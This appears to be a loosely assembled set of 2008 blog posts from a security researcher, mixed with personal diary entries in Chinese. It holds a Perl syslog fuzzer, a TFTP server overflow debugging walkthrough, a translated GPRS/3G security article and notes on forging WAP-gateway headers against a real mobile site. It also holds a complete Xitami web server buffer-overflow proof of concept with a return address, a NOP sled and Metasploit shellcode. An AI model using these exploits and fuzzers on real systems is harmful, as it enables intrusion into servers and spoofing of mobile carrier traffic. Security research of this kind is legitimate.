
#!/usr/bin/perl
#syslog Fuzzer v0.1
#jaime.blasco@aitsec.com
#www.aitsec.com
use IO::Socket::INET;
use Getopt::Std;
use POSIX qw(strftime);
getopt('hp', \ my %opts );
$SIG{INT}=\&exitz;
print "
\t Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008
\t www.aitsec.com
";
if(!defined($opts{h}) or !defined($opts{p})){
print "
-h : Host\n
-p : Port
Number
";
exit
}
$port = $opts{p};
$host = $opts{h};
@bfo = ('A'x10, 'A'x20, 'A'x40, 'A'x80, 'A'x160,
'A'x320, 'A'x640, 'A'x1280, 'A'x3000, 'A'x5000,
'A'x8000, 'A'x12000, 'A'x15000);
@fse = ("%s%p%x%d", ".1024d", "%.2049d", "%p%p%p%p", "%x%x%x%x",
"%d%d%d%d", "%s%s%s%s", "%99999999999s",
"%08x", "%%20d", "%%20n",
"%%20x", "%%20s", "%s%s%s%s%s%s%s%s%s%s",
"%p%p%p%p%p%p%p%p%p%p",
"%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%",
"%s"x150, "%x"x300);
@int = ("-1", "0", "0x100", "0x1000", "0x3fffffff", "0x7ffffffe",
"0x7fffffff", "0x80000000", "0xfffffffe", "0xffffffff", "0x10000",
"0x100000");
print "Using host: ".$host."\n";
print "Using port: ".$port."\n";
$con=new IO::Socket::INET->new(PeerPort=>$port,
Proto=>'udp',
PeerAddr=>$host);
#http://www.ietf.org/rfc/rfc3164.txt
#udp SYSLOG PACKET looks like:
#<Priority>Header Message text
# Header = Date Hostname PID
$npriority = '<0>';
$ndate = strftime "%b%e %H:%M:%S", localtime;
$nhostname = "10.0.0.2";
$npid = 'fuzzer[10]';
$nmsg = "Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008";
#fuzzing PRI
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing header
#fuzzing Date
#Buffer Overflow
foreach (@bfo) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing hostname
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing PID
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing msg
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
与朋友去给某些人洗脑时,朋友问起磁力,我觉得我只是描述磁力能力的“事实之全部”,朋友听完后却本着‘磁力实在是太有才了’的眼神看着我,是我的忽悠水平提高了呢?还是磁力已经到化境了(磁力看到这句一定几天都睡不着)。。。。无从得知,哈哈:D
几天前有幸面见行内一位极具权威的大牛,和他谈到了发展方向时我说出了我的理想,他告诉我,我的理想至少在5年内是无法实现的,我说,我可以等,就像盲人摸象(不过是个不同的版本),一个盲人只要不停地摸,终有一天可以摸到整只大象的外貌的。。。I believe
他还说,理想是会不断地变化的,这个我不否认,但我能说,从5年前到现在,我的理想都没有变过,我还相信,坚持就是胜利:)
Debug in ftpdwin0.4.2
writer: demonalex[at]dark2s[dot]org
I remember had seem some information about overflow ftpdwin(verion
0.4.2),perhaps memory ability was decline,so I wonder
to find which idea can tell me how to overflow that baby...Let's
show my tools:IDA,,,OLLYDB,,,WINDB,,,AND SO ON...
1)First,open IDA to create *.MAP and export.Take OllyDb attach
tftpd.exe,import MAP File to OllyDb, F9 for running...
2)Now we must find length of useless buffer,how??? Write one fuzz
script of perl named fuzzer.pl,content:
*********************************************************
#!/bin/perl -w
use Net::TFTP;
$|=1;
if(!defined($target_ip=shift)){
die("usage: $0 target_ip\n");
}
##################################
#expcode:
$buffer="\x41"x500; #length of useless
buffer
$expcode="$buffer";
##################################
$tftp = Net::TFTP->new("$target_ip", BlockSize => 1024);
$tftp->octet;
$tftp->get("$expcode");
exit 1;
*********************************************************
500 Bytes?Mistaken...EIP is not "\x41"x4...How about 400 Bytes?Of
course is not 400,too.But let us see the content
of stack:
00F5F174 00000000
00F5F178 00406437 返回到 tftpd.00406437 来自
<jmp.&msvcrt.strcpy>
00F5F17C 00F5F19C
00F5F180 41414141
00F5F184 00000080
00F5F188 00240000
00F5F18C 00000001
Ctrl+G calls goto site to 00406437 and F2 give it a breakpoint in
OllyDB.
3)Open WINDB to Attach tftpd.exe,brute force about eip equal to
0x41414141,the length is 288(includes RET).
4)Change expcode in fuzzer.pl:
##################################
#expcode:
$buffer="\x41"x284; #length of useless
buffer
$ret="\x44\x43\x42\x41";
$expcode="$buffer"."$ret";
##################################
5)In result,Ctrl+F2 into OllyDB for run tftpd.exe again,then play
our new fuzzer.pl,stop it at our breakpoint(00406437)
,see:
00406437 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; ||
0040643D |.
890424
mov [esp],
eax
; ||
00406440 |. E8 DB650100
call
<jmp.&msvcrt.strlen>
; |\strlen
00406445 |. 83F8 03
cmp eax,
3
; |
00406448 |. 76
16
jbe short
00406460
; |
0040644A |. C74424 04
5D6>mov dword ptr [esp+4],
0042655D ; |
00406452 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406458 |.
890424
mov [esp],
eax
; |
0040645B |. E8 70650100
call
<jmp.&msvcrt.strcat>
; \strcat
00406460 |> 8D85 E8FEFFFF
lea eax,
[ebp-118]
; |
00406466 |. 894424 04
mov [esp+4],
eax
; |
0040646A |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406470 |.
890424
mov [esp],
eax
; |
00406473 |. E8 58650100
call
<jmp.&msvcrt.strcat>
; \strcat
00406478 |> 8B45
10 mov
eax,
[ebp+10]
; |
0040647B |. 05 04010000
add eax,
104
; |
00406480 |. 894424 0C
mov [esp+C],
eax
; |
00406484 |. 8B45 10
mov eax,
[ebp+10]
; |
00406487 |. 894424 08
mov [esp+8],
eax
; |
0040648B |. C74424 04
040>mov dword ptr [esp+4],
104 ;
|
00406493 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406499 |.
890424
mov [esp],
eax
; |
0040649C |. E8 7F6C0100
call <jmp.&KERNEL32.GetFullPathNameA> ;
\GetFullPathNameA
004064A1 |. 83EC 10
sub esp, 10
004064A4 |.
85C0
test eax, eax
004064A6 |. 75
0C
jnz short 004064B4
004064A8 |. C785
D4FDFFFF>mov dword ptr [ebp-22C], 0
004064B2 |. EB
0A
jmp short 004064BE
004064B4 |> C785
D4FDFFFF>mov dword ptr [ebp-22C], 1
004064BE |> 8B85 D4FDFFFF
mov eax, [ebp-22C]
004064C4 |.
C9
leave
004064C5 \.
C3
retn
Press F8 from 00406437 to 004064C5,when come down at 004064C5,you
stop to find content of stack:
00F5F3C8 41424344
00F5F3CC 00428B00 tftpd.00428B00
hey hey ,u did it~
一直以来我思考的模式都是封闭两天思考,如果没有效果就放弃,选择其它思路。。。因为一旦超过两天,除要承受大了心理压力外,也会存在其它负担,感觉想碰到“不可能完成的任务”一样,而且自尊心与冲劲都会跌到了谷底,,,所以换种思考模式有时也未尝是件坏事。其实我个人觉得两天已经是个极限了,因为如果你这两天都想不到的话,估计最近都想不到,,,还是先找到了其它成功的办法(增加自信)再去考虑:)
新的思考模式可能会找其它已经成功的同类型案例,,,或是直接放弃该案例而采用其它有异曲同工之妙的方式(能达到客户认可的方式)。
不知道我的思考方式是不是有问题呢?:P
www.i170.com/Attach/78BFC496-3972-4D7B-B29B-EC4F77F64375
***************************************************************
[翻译文]GPRS与3G安全
原著:Andy David
原文:http://www.gprssecurity.com/
译文:demonalex(demonalex[at]dark2s[dot]org)
v 什么是GPRS与3G?
通用分组无线系统(General Radio Packet System,GPRS)是由互联网接入提供商提供的一个较为便利的基础网络设施。3G通常被称为“多用途移动手机服务”(Universal Mobile Telephony Service,UMTS),传输速率通常达384kbps或更高。GPRS与3G架构的主要不同点是处理无线通讯的技术上,在3G架构中为无线通讯设备提供了更高的带宽,然而它们使用的硬件设备都是相同的。
下图为构成GPRS架构的基本架构:
下面说说上图的各组件:
移动设备(Mobile
Device)
可以是支持GPRS的PDA、PC或笔记本。
基站系统(Base Station
System)
基站系统由基站控制器(Base Station Controller,BSC)与传输基站(Base Transceiver Station ,BTS)组成,其中BTS是进行无线数据的发送与接收的基本设备。
家庭位置注册接口与来访位置注册接口(Home
Location Register and Visitor Location
Register)
简称HLR/VLR,是由ISP维护的用户记录数据库。HLR数据库中包含附加的服务信息、认证证明、APN(Access Point Name)与ISP预约信息。在GPRS中,ISP的预约信息用于HLR与SGSN之间的交互。而VLR则用于为漫游用户提供临时的记录数据库(内容与HLR相同)。
GPRS服务节点(Serving GPRS
Support Node,SGSN)
SGSN用于在其工作区域内转发移动设备的数据,并进行相关的数据路由与传输。它服务的GPRS用户(预约者)皆在某个地理区域内,它提供的服务包括:加密、认证、会话管理与流动性管理(漫游)等功能。
GPRS网关节点(GGSN Gateway GPRS
Support Node,GGSN)
GGSN用于中转GPRS核心网与用户企业网(或Internet)通信的数据。它也负责会话管理、协调预约者(用户)与SGCN协商、计费信息管理等功能。
企业端前置设备(Customer Premises Equipment,CPE)路由
一种安装在企业用户前端、允许企业用户通过IP(及以上协议栈)直接与GPRS网通信的路由型设备。ISP可以利用GRE (Generic Routing Encapsulation)隧道使GPRS网与客户的企业网进行通信。
访问点名称(Access Point
Node/Name,APN)
APN是为GPRS建立连接时提供的FQDN域名,如conroporate1.operator.com(*备注:中国移动GPRS网的APN就是CMWAP与CMNET)。APN主要是为连接相应CPE路由时标识应该连接GGSN。
认证服务器(The Radius
Server)
Radius服务器用于为接入指定APN的移动设备分配IP地址等网络信息。当用户通过GPRS接入特定APN时IP地址将要被接入方机构预先设定的地址池进行分配,致使移动设备可以通过网络中的其它设备进行通信。
v 哪里存在安全问题?
来自移动终端方面的风险
网络基础设施枚举—常见的工具如ping、traceroute等可以发现一些本来不应该被发现的GPRS网络基础设施,例如GRE隧道节点等。且在此范围内的一些未经专门配置的、提供SNMP服务的设备可能会泄露其相关配置导致被攻击者利用。
试图通过移动终端发送GTP通信数据
GTP协议是用于在GPRS核心网络内控制GPRS连接的协议,全称GPRS Transport Protocol。若GTP信息可以随意被移动终端发送的话,则随意控制其它用户(预约者)的连接将变得非常方便。大量GPRS核心的设备存在着过时的风险,如“当GGSN接收到来自移动终端发送的畸形GTP包时,GGSN将曲解这些包的内容从而引起拒绝服务攻击”。然而,这些风险都不太像目前发生在MODEM设备中出现的个案。
预约者互通风险
若ISP商没有解决基于网络层面中预约者(GPRS用户)间通信,则可能可以通过这条链路穿越基础设施甚至绕过某些应用计费业务。因此,用户可以利用这点使用VOIP等业务而不需要扣除该应用的相关费用。(*备注:其实这个风险是利用某GPRS用户搭建双链路实现VOIP业务)
来自GPRS核心的风险
路由至未经批准的APN
GTP协议在不加密与不需要认证的情况下,将存在非常严重的安全风险。当移动终端使用者通过接入至某企业的接入点(*备注:不需要加密与认证的APN)从而通过GPRS核心网访问其它客户网络。
通过无线接口路由至其他用户
与上一个例子一样,若滥用GTP协议将导致路由至其他移动终端的风险。
使用者配置GPRS连接
正常情况下,GTP协议状态是由网络进行初始化的。若在GPRS核心网中激活了“使用者配置GPRS连接”功能的情况下,若被攻击者利用将导致被攻击者大量扣费。
拆解已经建立的连接
接入GPRS核心网的攻击者可以瞄准某些移动终端及选择性的拆除他们已经建立的连接。
来自企业GPRS网络与Internet的风险
利用非授权访问点进入CPE路由
如果ISP接受企业GPRS网络存在不严谨的配置—存在未经授权的访问点时,该访问点将可能被利用,获取到详细的核心基础网络信息,如GRE隧道信息。
潜在的拒绝服务攻击
通过GRE隧道中的IP地址(参考RFC1918)与企业网的地址冲突,导致持续的网络中断。
高付费攻击
攻击者可以通过在(与GPRS核心网连接的)企业网或Internet中搭建一个恶意的服务器,并获取GPRS网动态分配的IP地址,然后设置该服务器不断地发送ICMP(PING)数据包给GPRS网内各类接收ICMP的节点,然后立刻下线。虽然恶意服务器已经下线了,但ICMP的请求/应答过程还在进行,此时当有其它移动客户端进入GPRS网络并获取到与刚刚下线的恶意服务器相同IP的时间,就会接收到刚刚恶意服务器发送的ICMP请求对应的ICMP应答。当恶意服务器发送大量的ICMP数据包给某个IP地址时,将导致无意的用户被大量地扣除网络传输费用。
通过访问点对街道集线箱系统进行访问
BTS基站(GPRS系统基础设施)与B节点(3G系统基础设施)常常放置在街道的集线箱中,通过金属盒包装着放置在街道的两侧或空旷的地方。目前集线箱系统与GPRS核心网通信的技术是依靠有线链路或无线微波构成的。排除产品的维护商外,集线箱装载的系统几乎所有的物理接口都可能被别有用心的人恶意利用。当然,大多数这样的非授权进行使用的行为我们都可以通过报警系统得知,并通过基于软件上的配置对这方面的访问进行屏蔽,使其不能直接接入核心网。
通过管理访问点对核心网进行访问
诸如SGSN、GGSN等设备可以被运营商通过核心网进行访问。这个级别的访问可以被某些个别个体利用,对网络与数据传输造成严重的破坏。然而,ISP通过会对这类型的访问进行有效的隔离,限制只有某些指定的设备才可以进行这方面的访问。此外,运营商还会通过使双因子认证方式严格限制可访问的使用者。
v 我们可以做些什么?
机密性
若企业用户担心其敏感数据由于穿越GPRS网络而造成泄露的情况,可以考虑通过IPSec进行VPN点对点传输保护。就算在ISP中存在恶意的攻击者对数据流进行路由重置并捕捉时亦无法解开明文,从而保障数据机密性。VPN解决方案能经得起严格的测试,但前提条件是必须保障无线信号的强度。
运营商保障网络中的各类设备与接口能被他们的用户访问与控制同时并为用户提供强机密性的程度是很有限的。
完整性
运营商将确保在核心网内GTP Version 1逐步推行,并慢慢淘汰GTP Version 0。这将导致恶意攻击者无法在网络核心通过流量鉴别与增加其操作难度。此外,已经获得授权通过“全球漫游交互网”的漫游用户也可以直接在异地接入GPRS核心网,因此他们亦有能力绕过GTP感知型防火墙而进行基于GTP的攻击。
若有一条网络ACL策略确定预约者间没有任何过滤的话,那么ISP将无法保障类似高付费攻击类的安全问题。
可用性
企业用户必须确保RFC1918中IP地址冲突不会因为ISP提供的GPRS网络服务导致危害到自己的网络。
最后,运营商应当定期更新/维护GPRS核心网内设备,因为风险不会仅仅只会出现在类似SGSN、GGSN这样的GPRS设备中,而同样会因为不严谨的配置或安全漏洞而出现常见的操作系统中(如Microsoft的Windows或Sun的Solaris)。
关于WAP的测试找到了另一个切入点,谢谢磁力与啊BAN配合我完成很多测试,我下面方向是针对底层的GPRS考虑,,,,,下次聚会说说,CMWAP的测试暂时停止:)
和磁力在公司做了个实验:
他与我同联入CMWAP,然后我开HTTPD,他浏览,确认是成功的。
他的IP:
10.214.217.228
我的IP:
10.215.129.15
我与他的WAP GW同为211.139.151.74。磁力的浏览的手机得到的HTTP头:
GET / HTTP/1.1
Host: 10.215.129.15
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif,
image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color24
UA-Voice: TRUE
UA-pixels: 320x240
UA-CPU: ARM
Accept-Encoding: gzip,deflate
If-Modified-Since: Mon, 03 Mar 2008 02:51:56 GMT
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW015-WAP05.gd.chinamobile.com (Nokia WAP
Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.217.228
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive
磁力在我家,我们都上CMWAP,
我的IP:10.218.88.51
磁力的IP:10.218.196.131
我们的网关都是:218.204.243.42
通过NMAP探测网关得到的信息:
Host 218.204.243.42 appears to be up ... good.
All 1709 scanned ports on 218.204.243.42 are filtered
Device type: general purpose|firewall|WAP
Running: IBM OS/390 V2, IBM OS/400 V4|V5, IBM z/OS
1.4.X|1.6.X|1.8.X, IBM z/VM, Netgear embedded, TRENDnet
embedded
通过上述实验可以证明,在同一个物理区域(区域的具体大小还不好说...)GPRS接入且APN相同(都是CMWAP)的情况下,大家使用的WAP
GW都是相同的。
另外,两个接点间的ICMP是被过滤的,但传输层及以上的的应用是可以通信的。
1)测试ARP。
首先测试是BAN的灵感,在CMWAP下进行ARP测试,但通过GPRS进CMWAP是PPP协议,与ARP在不同的协议栈,因此ARP在GPRS连入CMWAP上是不起作用的。
2)测试WAP GW的缺陷。
连入后通过安全探测工具对WAP GW进行探测,只发现TCP80与TCP8080(HTTP PROXY)与WAP GW协议(UDP9200与UDP9201),目前发现不了存在任何缺陷。当前我连接后的广州CMWAP GW IP是218.204.243.42。
3)测试是否能通过在CMWAP外对SP的网站进行伪造WAP网关头的测试:
锁定的测试目标是:http://3g.sina.com.cn/prog/wapsite/weather_new/index.php?pos=1&vt=1
首先做个文档wap.txt(这个样本是BAN提供的,谢谢他):
GET /prog/wapsite/weather_new/index.php?pos=1&vt=1
HTTP/1.1
Host: 3g.sina.com.cn
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif,
image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color16
UA-pixels: 240x320
UA-Voice: TRUE
UA-CPU: ARM
Accept-Encoding: gzip,deflate
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW016-WAP05.gd.chinamobile.com (Nokia WAP
Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.11.83
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive
注意:文档的最后要加两个回车,等同于HTTP通信会话中的"\r\n\r\n"。然后写个PERL脚本fuzzer.pl,内容:
#!/bin/perl -w
$|=1;
open(WAP,"<wap.txt");
@host=<WAP>;
close(WAP);
chomp(@host);
$target=$host[1];
$target=~s/Host: //;
system("nc.exe $target 80".'<wap.txt>result.wml');
system("notepad.exe result.wml");
exit 1;
运行后会自动打开result.wml,发现:
*********************************************
HTTP/1.1 302 Found
Date: Sun, 02 Mar 2008 09:45:01 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Location:
http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
14a
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A
HREF="http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403">here</A>.<P>
<HR>
<ADDRESS>Apache/1.3.37 Server at 127.0.0.1 Port
80</ADDRESS>
</BODY></HTML>
0
*********************************************
看看http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403,嘿嘿,用OPERA看看,还是识别为‘你不是通过手机上网’,看来与头无关,估计是SP中加入了CMWAP GW的IP地址列表...估计是...
How to pack your Sandwich about PoC?
writer: demonalex[at]dark2s[dot]org
Premise of knowledge:
*How to be sure about how many length of content can fill in
useless buffer?
*Which is a useful RETURN ADDRESS?
*How to take EIP to shellcode?
If you can handle the above-mentioned reason,I think your PoC will
be a honey for hax0r...
In face,structure of PoC looks like a Sandwich(look at my
Topic,so...so...hey!).Which god can give me this
idea???Mystery...
1)At first,we must choose one development langauge to pack PoC.I
like Perl...
2)Secondary,we must make sure how many length of content can fill
in useless buffer.
3)Third,of course...our RETURN ADDRESS must be one address about
'jmp esp'...Different address for all kinds of OS...
PS:Some address is great versatility,someone like 0x7ffa4512.
4)At last,'jump code' after Return Address can force eip to jump
into stack of shellcode.
This segment I will give an example of PoC about Xitami(Version
2.5c2),Perl format:
01:###############################################
02:#PoC:
03:$head="GET / HTTP/1.1\r\n".
04: "Host: $target_ip\r\n".
05: "If-Modified-Since: Evil, ";
06:$buffer="\x41"x72;
07:$ret="\x12\x45\xfa\x7f";
08:$jmpcode="\xeb\x30";
09:$n0p="\x90"x55;
10:# win32_exec - EXITFUNC=seh CMD=calc.exe Size=164
Encoder=PexFnstenvSub http://metasploit.com
11:$shellcode =
12:"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x9b".
13:"\x41\xde\xdc\x83\xeb\xfc\xe2\xf4\x67\xa9\x9a\xdc\x9b\x41\x55\x99".
14:"\xa7\xca\xa2\xd9\xe3\x40\x31\x57\xd4\x59\x55\x83\xbb\x40\x35\x95".
15:"\x10\x75\x55\xdd\x75\x70\x1e\x45\x37\xc5\x1e\xa8\x9c\x80\x14\xd1".
16:"\x9a\x83\x35\x28\xa0\x15\xfa\xd8\xee\xa4\x55\x83\xbf\x40\x35\xba".
17:"\x10\x4d\x95\x57\xc4\x5d\xdf\x37\x10\x5d\x55\xdd\x70\xc8\x82\xf8".
18:"\x9f\x82\xef\x1c\xff\xca\x9e\xec\x1e\x81\xa6\xd0\x10\x01\xd2\x57".
19:"\xeb\x5d\x73\x57\xf3\x49\x35\xd5\x10\xc1\x6e\xdc\x9b\x41\x55\xb4".
20:"\xa7\x1e\xef\x2a\xfb\x17\x57\x24\x18\x81\xa5\x8c\xf3\xb1\x54\xd8".
21:"\xc4\x29\x46\x22\x11\x4f\x89\x23\x7c\x22\xbf\xb0\xf8\x6f\xbb\xa4".
22:"\xfe\x41\xde\xdc";
23:#
24:$ending="\r\n\r\n";
25:
26:$expcode="$head"."$buffer"."$ret"."$jmpcode"."$n0p"."$shellcode"."$ending";
27:###############################################
Let us talk about structure of variable '$expcode '.
HTTP HEAD FORMAT: LINE 03-05,LINE 24;
IF-MODIFIED-SINCE content: LINE 06-09,LINE 11-22.
Sandwich Structure:
|------'A'x72------|--"\x12\x45\xfa\x7f"--|-----"\xeb\x30"-----|--"\x90"x55--|-"$shellocode"-|
|< useless buffer >|< jump esp addres
>|<jmp short 00000032>|< 55 nops
>|< shellcode >|
A.Useless buffer is 72 bytes;
B.Jmp esp address is 0x7ffa4512;
C.After ret(jmp esp) is a jmpcode:
[perl code:]"\xeb\x30" < -
> [asm:]jmp short 00000032
(hex)32==(int)50
So the $jmpcode means jump backward over 50 bytes.
D.After jmpcode are 55 nopS.Jmpcode will run because of RETURN
ADDRESS is jump esp,and jmpcode ran
to step across 50 nopS,so the pointer into site forward 5 nopS.
E.$shellcode form metasploit will start calc.exe after 5 nopS.
Other code of PoC:
ok,now we take a socket to exploit it!
#Perl code:
use Socket;
use IO::Handle;
$|=1;
socket(SOCK,AF_INET,SOCK_STREAM,6) || die("cannot create
socket!\n");
$address=inet_aton("127.0.0.1");
$target=sockaddr_in(80,$address);
connect(SOCK,$target) || die("cannot connect target!\n");
SOCK->autoflush(1);
send(SOCK,$expcode,0) || die("cannot send data!\n");
close(SOCK);
exit 1;
#Over
DEBUG:
Local Machine use Windbg to Attach the 'Xigui32.exe' Process,and
Exploit it!...
**********************************************
0:003> g
(d54.3e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception
handling.
This exception may be expected and handled.
eax=00000000 ebx=77e49e28 ecx=fffffc36 edx=00000000 esi=b66116ff
edi=77e48efc
eip=00c9ffa9 esp=00c9ff24 ebp=77e10000
iopl=0 nv up ei pl
zr na po nc
cs=001b ss=0023 ds=0023 es=0023
fs=0038
gs=0000
efl=00010246
00c9ffa9
ac
lodsb
ds:b66116ff=??
0:001> d eip
00c9ffa9 ac 84 c0 74 07 c1 ca 0d-01 c2 eb f4 3b 54 24
04 ...t........;T$.
00c9ffb9 75 e5 8b 5f 24 01 eb 66-8b 0c 4b 8b 5f 1c 01
eb u.._$..f..K._...
00c9ffc9 8b 1c 8b 01 eb 89 5c 24-04 c3 31 c0 64 8b 40
30 ......\$..1.d.@0
00c9ffd9 85 c0 78 0c 8b 40 0c 8b-70 1c ad 8b 68 08 eb
09 ..x..@..p...h...
00c9ffe9 8b 80 b0 00 00 00 8b 68-3c 5f 31 f6 60 56 89
f8 .......h<_1.`V..
00c9fff9 83 c0 7b 50 68 f0 8a 04-5f 68 98 fe 8a 0e 57
ff ..{Ph..._h....W.
00ca0009 e7 63 61 6c 63 2e 65 78-65 00 00 00 00 00 00
00 .calc.exe.......
00ca0019 00 10 00 00 20 00 00 00-02 00 00 00 20 00 00
22 .... ....... .."
**********************************************
父亲大人,我们终于又再相聚于广州这个我们出生与生活的地方,虽然现在我们已经阴阳相隔,但每每看到您那强作‘有神’的照片、想起电话中您苦口婆心的教导、邮寄回来的那些写得密密麻麻几十页一封的家书时,我都会不自觉感觉得鼻子很酸,有什么东西突然使我的眼镜模糊了起来...有时候觉得年纪大了,苦恼也多了很多...常有因为埋怨‘成长’这个自然规律而自暴自弃的感觉(也许是逃避的一种吧),不过每每在这时候都会让我想起您,我是您在这个世界上的又一次新生,‘如果我是我的父亲的话,我碰到这个困难的时候会怎么做呢???’,这个意念在不停地指导着我,谢谢您,我的父亲。
又是一个傻瓜作品,而且没完成,主要是有些函数测了半天,还是无法完成相应的功能(这个PHP的版本比ASP的版本要难弄很多),唉。。。未完成的东西。。。
今天离开公司时大概9点半左右,对于广州的生活来说,是一个很早的时间。。。但,,,刚离开公司没多远的立交桥下。。。危机四伏,等待着我的是我意料之外的事:当我还在和同事谈电话的时间,三个手持长棍的彪形大汉无声无息地走进我的背后,像面对着他们的夙敌般向我发起一轮猛攻。。。最后,虽然我在没有任何财物损失的情况下成功逃脱,但写这个BLOG时双脚(被木棒狠狠地扫了几下)与头部(其中一个歹徒在无法跟上我的脚步的情况下,把手中的木棒向我的头部扔了过来,可惜我不是电视里的殷子丹。。。)还是不停地作痛[有些举步为艰的感觉]。。。
无法想象上面的事是发生在我出生、成长的地方--广州。。。
最后想说的是:公司附近(天河软件院华景院区与华南师范大学交界的立交桥下)治安不太好,希望各位同事与朋友留意了。。。
为各位做一些应急响应等工作时作个参考用,当然,各位有好的资料也希望共享一些.
Powered by Haiwit